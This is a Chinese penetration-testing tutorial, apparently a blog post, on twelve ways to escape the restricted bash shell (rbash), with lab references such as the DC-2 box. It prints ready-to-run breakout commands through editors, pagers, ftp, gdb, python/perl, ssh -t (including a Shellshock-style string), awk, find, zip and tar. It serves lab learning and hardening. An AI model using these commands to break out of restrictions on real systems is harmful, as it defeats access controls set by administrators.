【渗透测试】rbash逃逸的12种方式
简述
什么是rbash?
rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的restricted shell的一种,也就是最常见的restricted shell,它与一般shell的区别在于会限制一些行为,让一些命令无法执行
如何设置?
useradd -s /bin/rbash test # 设置用户test登陆的shell为rbash
mkdir -p /home/test/.bin # 在test用户下新建一个.bin目录存放可以执行的命令
为rbash逃逸做信息收集
1、枚举环境变量
执行env
或printenv
命令来查看当前的环境变量设置。特别是PATH
和SHELL
变量,它们可能影响到命令的查找和执行。
2、检查可用应用和服务
文本编辑器:如vi
、vim
、nano
等,这些编辑器有时候允许用户执行系统命令。
其他系统工具:如ftp
,more
,less
,man
等,这些工具在特定情况下也可用于执行命令逃逸
调试工具:如gdb
,在某些配置下可能允许用户执行任意代码
3、枚举可用的命令和操作符
命令枚举:检查哪些命令在rbash环境中是可用的。这通常包括一些基本的文件操作命令(如ls
、cat
、echo
等),以及可能未被禁用的系统命令。
操作符枚举:尝试使用重定向操作符(如>
、>>
、<
等)和管道操作符(|
),以评估它们是否可用。这些操作符在构建逃逸命令时可能非常有用。
4、检查可用编程语言
python perl ruby php java等
5、用户和sudo权限
用户权限:了解当前用户的权限范围,包括可以访问哪些文件和目录。
sudo权限:使用sudo -l
命令查看当前用户是否有sudo权限以及可以执行哪些命令。这有助于评估是否可以通过sudo命令绕过rbash限制。
常见的逃逸技术
1、”/“字符
如果/
字符被允许我们可以直接运行:/bin/bash
2、cp命令
可以直接赋值/bin/bash
或者passwd中root的终端目录直接运行
cp /bin/bash test1
cp /bin/sh test2
./test1 # 切换到了/bin/bash
./test2 # 切换到了/bin/sh
图例
3、常见的应用
探测系统中是否存在常见应用
-
FTP,GDB(调试程序的工具)等。
执行:
ftp> !/bin/sh
执行:
gdb> !/bin/sh
-
man / git
执行:
man > !/bin/sh
执行:
git > git help status
-
vi / vim
vi test
:!/bin/sh # 利用vi/vim中可以执行命令的特点
- more / less 同上操作
more test_file
!/bin/sh
4、set shell
在一些编辑器中可以设置shell变量然后执行,如vim中
# vim/vi进入之后
:set shell=/bin/sh # 或者用/bin/bash
:shell
# 切换完成之后还要添加环境变量,给$PATH变量增加两个路径,用来查找命令
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
比如DC-2靶机,文章参考-------
5、更改PATH或者Shell环境变量
export查看环境变量
PATH 和 SHELL 变量的权限设置很可能是:r-x
,这就意味着我们只能执行和读取,不能写入。如果有w
权限的话,我们可以直接给它写入/bin/bash
6、编程语言
语言可以帮我们切换shell的类型,通常用来升级终端,比如webshell反弹成功之后,我们不能使用su命令,应为它具有交互式(比如输入密码)的操作,这个时候就可以用计算机语言来转换shell的类型,案例参考:
python
python -c "import os;os.system('/bin/bash')"
或者
python -c "import pty;pty.spawn('/bin/bash')"
perl
perl -e "exec '/bin/sh';"
ruby
exec "/bin/sh"
7、su命令
切换用户的时逃逸,这里的原理涉及到su
和su -
的区别:
su
命令只会更待当前用户,而不会更改当前的用户环境,比如从root用户在自己的根目录下切换到kali用户,我们当前所处的目录还是root
su -
命令,则在更改当前用户信息的同时还会更改用户环境,但如果你从root用户su -
到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了
逃逸过程
su -l tw
su - tw
su --login tw
8、ssh登录逃逸
它的原理就是借助-t远程在远程机器上运行脚本
正常登录成功的样子
逃逸成功的样子
命令如下
ssh username@IP -t "/bin/bash" or "/bin/sh"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"
注意使用bash --noprofile
和() { :; }; /bin/bash
的时候没有登录成功的提示,以及登录时间之类的
9、awk
超级玛丽靶机
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
10、find
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;
11、zip
zip demo.zip /data/demo -T --unzip-command="sh -c /bin/bash"
12、tar
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
总结
本文仅以rbash为例进行演示,但这些逃逸技巧同样适用于其他类型的受限shell。值得注意的是,由于不同系统的特性各异,逃逸方式也会存在较大差异。用户安装的git、tar、zip等工具,往往能为我们提供极大的帮助。